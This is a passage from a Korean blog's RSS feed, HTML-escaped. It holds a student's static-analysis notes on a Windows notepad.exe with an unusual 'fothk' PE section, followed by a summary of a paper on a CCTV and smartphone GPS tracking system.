&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1359&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bx3wAX/dJMcacamVdb/qH3hpM3nCiS1pXK5lqwhP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bx3wAX/dJMcacamVdb/qH3hpM3nCiS1pXK5lqwhP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bx3wAX/dJMcacamVdb/qH3hpM3nCiS1pXK5lqwhP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbx3wAX%2FdJMcacamVdb%2FqH3hpM3nCiS1pXK5lqwhP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1359&quot; height=&quot;640&quot; data-origin-width=&quot;1359&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2차 분석 : analyze_deep.py&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;261&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I7rE3/dJMb99LtZj1/uAVUfFxWw9qXkFhkqAGxBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I7rE3/dJMb99LtZj1/uAVUfFxWw9qXkFhkqAGxBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I7rE3/dJMb99LtZj1/uAVUfFxWw9qXkFhkqAGxBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI7rE3%2FdJMb99LtZj1%2FuAVUfFxWw9qXkFhkqAGxBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;261&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;261&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;추가된 파일&amp;nbsp;&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 147px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 29.0698%; height: 21px;&quot;&gt;파일명&lt;/td&gt;
&lt;td style=&quot;width: 70.9302%; height: 21px;&quot;&gt;의미&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 29.0698%; height: 21px;&quot;&gt;deep_report.md&lt;/td&gt;
&lt;td style=&quot;width: 70.9302%; height: 21px;&quot;&gt;전체 분석 요약&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 29.0698%; height: 21px;&quot;&gt;sections.txt&lt;/td&gt;
&lt;td style=&quot;width: 70.9302%; height: 21px;&quot;&gt;프로그램 안에 들어있는 섹션 목록 - 비정상 섹션 이름 있는지 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 29.0698%; height: 21px;&quot;&gt;fothk_strings.txt&lt;/td&gt;
&lt;td style=&quot;width: 70.9302%; height: 21px;&quot;&gt;fothk 섹션 안에서 뽑은 글자들 - 이상한 문자열 찾기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 29.0698%; height: 21px;&quot;&gt;imports.json&lt;/td&gt;
&lt;td style=&quot;width: 70.9302%; height: 21px;&quot;&gt;프로그램이 어떤 함수(API) 쓰는지 리스트 - 위험 API 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 29.0698%; height: 21px;&quot;&gt;notepad_fothk_dump.bin&lt;/td&gt;
&lt;td style=&quot;width: 70.9302%; height: 21px;&quot;&gt;fothk 섹션 그자체 - 실행 금지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 29.0698%; height: 21px;&quot;&gt;sha256.txt&lt;/td&gt;
&lt;td style=&quot;width: 70.9302%; height: 21px;&quot;&gt;파일 고유 지문 - 평판 조회시 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;deep_report.md&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1762779359192&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Deep Static Analysis Report: notepad
- path: C:\Windows\System32\notepad.exe
- analyzed_at: 2025-11-10T21:54:02.879495
- sha256: 1552f6a579b77b61460df56cb4b2ce0a34fe96b6176829d7916275b806edc2bb

## Sections
- .text | vsize:157410 | raw:159744
- fothk | vsize:4096 | raw:4096
- .rdata | vsize:42456 | raw:45056
- .data | vsize:10048 | raw:4096
- .pdata | vsize:4620 | raw:8192
- .didat | vsize:248 | raw:4096
- .rsrc | vsize:123344 | raw:126976
- .reloc | vsize:848 | raw:4096

## fothk strings (first 200 lines)

## Imports (partial)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;section.txt&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1762887463644&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;html&quot;&gt;&lt;code&gt;.text | vsize:157410 | raw:159744
fothk | vsize:4096 | raw:4096
.rdata | vsize:42456 | raw:45056
.data | vsize:10048 | raw:4096
.pdata | vsize:4620 | raw:8192
.didat | vsize:248 | raw:4096
.rsrc | vsize:123344 | raw:126976
.reloc | vsize:848 | raw:4096&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;fothk_strings. txt&lt;/b&gt; -&amp;gt; 비어있다&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;imports.json&lt;/b&gt; -&amp;gt; 비어있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;위 두 파일이 비어있는 주요 원인&lt;/h4&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;원인&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;임포트 없음 혹은 패킹/ 난독화&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;악성코드나 패킹된 PE 파일은 strings, imports 영역에 정보가 보이지 않도록 만들기도 함.&lt;br /&gt;문자열 추출 시 암호화, 압출, 난독화 등으로 실제 ascii 문자열이 섹션에 존재하지 않을 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;툴의 한계 또는 추출 실수&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;분석 스크립트/ 툴이 올바르게 섹션을 파싱하지 못하거나, 파일 권한 문제, 변조된 PE 헤더 등으로 오류가 나서 빈파일이 생성될 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;실제로 널 데이터&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;문자열 데이터가 실제로 없을 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 189px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 20%; height: 21px;&quot;&gt;섹션&lt;/td&gt;
&lt;td style=&quot;width: 80%; height: 21px;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 20%; height: 21px;&quot;&gt;.text&lt;/td&gt;
&lt;td style=&quot;width: 80%; height: 21px;&quot;&gt;코드 영역으로 프로그램의 주요 실행코드 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 20%; height: 21px;&quot;&gt;fothk&lt;/td&gt;
&lt;td style=&quot;width: 80%; height: 21px;&quot;&gt;일반적인 PE 표준에는 없는 비표준 섹션명 - 커스텀 데이터 혹은 코드 등으로 추정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 20%; height: 21px;&quot;&gt;.rdata&lt;/td&gt;
&lt;td style=&quot;width: 80%; height: 21px;&quot;&gt;읽기전용 데이터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 20%; height: 21px;&quot;&gt;.data&lt;/td&gt;
&lt;td style=&quot;width: 80%; height: 21px;&quot;&gt;전역 데이터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 20%; height: 21px;&quot;&gt;.pdata&lt;/td&gt;
&lt;td style=&quot;width: 80%; height: 21px;&quot;&gt;예외 처리 데이터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 20%; height: 21px;&quot;&gt;.didat&lt;/td&gt;
&lt;td style=&quot;width: 80%; height: 21px;&quot;&gt;동적 데이터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 20%; height: 21px;&quot;&gt;.rsrc&lt;/td&gt;
&lt;td style=&quot;width: 80%; height: 21px;&quot;&gt;리소스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 20%; height: 21px;&quot;&gt;.reloc&lt;/td&gt;
&lt;td style=&quot;width: 80%; height: 21px;&quot;&gt;재배치 정보&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 fothk 세션이 실제로 존재하며 여기에 악성 코드 흔적이나 난독화된 문자열 등 코드가 들어있을 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 비정상적인 fothk 섹션이 존재함을 확인할 수 있으며 문자열 덤프 분석 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>2025-SWLUG/악성코드 스터디</category>
      <author>호랑2D</author>
      <guid isPermaLink="true">https://tigerdemon.tistory.com/210</guid>
      <comments>https://tigerdemon.tistory.com/210#entry210comment</comments>
      <pubDate>Wed, 12 Nov 2025 04:04:56 +0900</pubDate>
    </item>
    <item>
      <title>[논문 분석]네트워크 CCTV와 스마트 단말기를 연동한 이동체 추적 시스템</title>
      <link>https://tigerdemon.tistory.com/209</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO201302255801904&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO201302255801904&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1762788076758&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;[논문]네트워크 CCTV와 스마트 단말기를 연동한 이동체 추적 시스템&quot; data-og-description=&quot;본 논문에서는 네트워크 CCTV와 스마트 단말기를 연동한 이동체 추적 시스템을 소개한다. 긴급 상황 발생 시 신고자의 단말기는 GPS 위치 정보를 획득하고 이를 중앙 서버로 전송한다. 중앙 서버&quot; data-og-host=&quot;scienceon.kisti.re.kr&quot; data-og-source-url=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO201302255801904&quot; data-og-url=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO201302255801904&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/6iUkN/hyZNn8uz5J/E4WE4oAbnKQ90PKEM2pY4k/img.png?width=270&amp;amp;height=270&amp;amp;face=0_0_270_270&quot;&gt;&lt;a href=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO201302255801904&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://scienceon.kisti.re.kr/srch/selectPORSrchArticle.do?cn=JAKO201302255801904&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/6iUkN/hyZNn8uz5J/E4WE4oAbnKQ90PKEM2pY4k/img.png?width=270&amp;amp;height=270&amp;amp;face=0_0_270_270');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[논문]네트워크 CCTV와 스마트 단말기를 연동한 이동체 추적 시스템&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;본 논문에서는 네트워크 CCTV와 스마트 단말기를 연동한 이동체 추적 시스템을 소개한다. 긴급 상황 발생 시 신고자의 단말기는 GPS 위치 정보를 획득하고 이를 중앙 서버로 전송한다. 중앙 서버&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;scienceon.kisti.re.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;서론&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;범죄를 예방하기 위해 네트워크 CCTV를 설치하였지만 소수 인원이기에 실시간 감시가 어려워져 CCTV는 범죄 예방보다 범죄 발생 후 대처용으로 사용되고 있다. 최근 스마트 단말기는 GPS 송수신기를 내장하고 LBS( Location Based Services) 기능을 활용하여 단말기의 위치측위 값을 정확히 획득할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 논문에선 스마트 단말기의 GPS와 네트워크 CCTV를 연동하여 범죄 발생 후 대처용으로 사용되는 CCTV 문제를 개선하고자 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GPS 위치 파악 -&amp;gt; 피사체 추적 촬영 -&amp;gt; 신고 장소 파악 및 출동&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;연구 동향&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.1 IP Camera&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Network IP 기반에서 영상을 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;강점&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CCTV 설치의 확장성이나 획득한 영상 정보로 접근하는 방식의 유연성&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음향까지 녹취 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PTZ(Pan/ Tilt/ Zoom) - 360도, 180도, 45도 등 상하좌우로 회전시키고 초점 조절하여 선명하게 영상 획득 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;CCTV와 IP camera의 장단점&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;347&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HNfpV/dJMb99Y1bs9/6ogVIlbVz0aPEzSlhAZ0OK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HNfpV/dJMb99Y1bs9/6ogVIlbVz0aPEzSlhAZ0OK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HNfpV/dJMb99Y1bs9/6ogVIlbVz0aPEzSlhAZ0OK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHNfpV%2FdJMb99Y1bs9%2F6ogVIlbVz0aPEzSlhAZ0OK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;677&quot; height=&quot;347&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;347&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.2 지능형 영상분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영상의 정보를 분석하여 자동으로 이상 행위를 탐지하는 기술&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반적인 수행 단계&lt;/li&gt;
&lt;li&gt;영상의 배경 영역 분리단계&lt;/li&gt;
&lt;li&gt;객체 식별 단계&lt;/li&gt;
&lt;li&gt;객체 추적 단계&lt;/li&gt;
&lt;li&gt;사전 정의된 규칙을 기반으로 이벤트를 탐지하는 &lt;b&gt;*이벤트 탐지 단계&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;*이벤트 탐지 단계&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영상 속 객체가 특정 영역에 무단 침입하거나 잘못된 방향으로 진행하는 것을 방지하기 위해 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+ BI 이벤트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영상 정보를 분석하여 객체의 수, 체류 시간 등 비즈니스에 도움될 만한 메타데이터 제공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 자동차 번호판, 군중 속 범죄자 식별, 공항의 폭탄 식별에 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.3 GPS(Glocal positioning system)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미국 국방부에서 개발한 24개의 GPS위성과 GPS수신기가 통신하여 자 신의 절대 위치와 시간 정보 등을 수신 하는 시스템&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 거리와 기후로 인해 잡음이 생기고 신호 크기 또한 약해져서 정확한 위치 정보를 수신하기 까지 시간이 걸림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 이를 극복하기 위해 국내 이동통신사에서는 &lt;b&gt;*A-GPS&lt;/b&gt; 지원&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;*A-GPS&lt;/b&gt; 측위 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SLP 간에 OMA SUPL 규격을 이용하여 위치 계산과정을 수행하며 SUPL POS를 통한 메시지 송수신으로 빠르고 정확하게 파악 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SLP(SUPL Location Platform)&lt;/b&gt; : GPS 수신기를 내장한 이동단말기와 이동통신망 내에 설치한 위치 측위 서버&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OMA SUPL(Secure User Plane Location)&lt;/b&gt; : 위치 계산과정 수행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SUPL POS&lt;/b&gt; : (RRLP(Radio Resource Locatiojn Protocol))를 내장한 이중 A-GPS 측위를 위한 프로토콜&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.4 GCM&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pull Service : (기존) 클라이언트가 관심 정보를 서버에 요청 -&amp;gt; 서버가 인식하여 요청한 관심 정보를 클라이언트에게 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Push Service : 서버가 클라이언트의 관심 정보를 해당 클라이언트에게 제공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;장점&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트가 관심정보를 얻기 위해 서버에게 별도의 정보 요청 필요 X&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Google에서 개발한 Push Service&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 클라이언트와 GCM 서비스가 직접 통신하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 별도의 서버를 통해 3rd Party Server GCM 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3rd Party Server GCM 방식 과정&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;단말기는 GCM 서비스에게 자신의 &lt;b&gt;*고유 ID&lt;/b&gt; 요청&lt;/li&gt;
&lt;li&gt;고유 ID를 요청한 단말기에게 고유 ID 공유&lt;/li&gt;
&lt;li&gt;고유ID를 획득한 단말기(좌)는 서버와 자신의 DB에 고유ID 저장&lt;/li&gt;
&lt;li&gt;단말기(우)가 서버에게 단말기(좌)의 고유ID와 전달할 데이터를 전송하면 서버는 수신한 단말기(좌)의 고유ID와 데이터를 &lt;b&gt;*GCM 서비스&lt;/b&gt;에 전송&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;*고유 ID&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: 안드로이드 기반 모든 단말기를 구분할 수 있는 시리얼 번호&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;*GCM 서비스 :&lt;/b&gt;&amp;nbsp;기지국을 통해 고유ID를 갖는 단말기(좌)를 찾고 데이터를 전송하여 단말기(좌)는 데이터 수신 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;=&amp;gt; 단말기의 다른 기능과 결합되거나 어플리케이션에 접목되며 본 시스템에선 보호자의 스마트 단말기에 신고자의 영상 정보를 전송하는데 사용&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;391&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rMbEM/dJMcacamXVe/uLNAJWKXGNb05KlVjyI1o0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rMbEM/dJMcacamXVe/uLNAJWKXGNb05KlVjyI1o0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rMbEM/dJMcacamXVe/uLNAJWKXGNb05KlVjyI1o0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrMbEM%2FdJMcacamXVe%2FuLNAJWKXGNb05KlVjyI1o0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;391&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;391&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 시스템 설계 및 동작&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1 시스템 설계&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중앙 서버, 스마트 단말기의 애플리케이션, IP Camera(이하 CCTV)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;488&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSQ3Um/dJMcaap5umn/yLOKaAigGCcSBwWmUbKsc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSQ3Um/dJMcaap5umn/yLOKaAigGCcSBwWmUbKsc0/img.png&quot; data-alt=&quot;이동체 촬영 시스템 구상도&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSQ3Um/dJMcaap5umn/yLOKaAigGCcSBwWmUbKsc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSQ3Um%2FdJMcaap5umn%2FyLOKaAigGCcSBwWmUbKsc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;616&quot; height=&quot;488&quot; data-origin-width=&quot;616&quot; 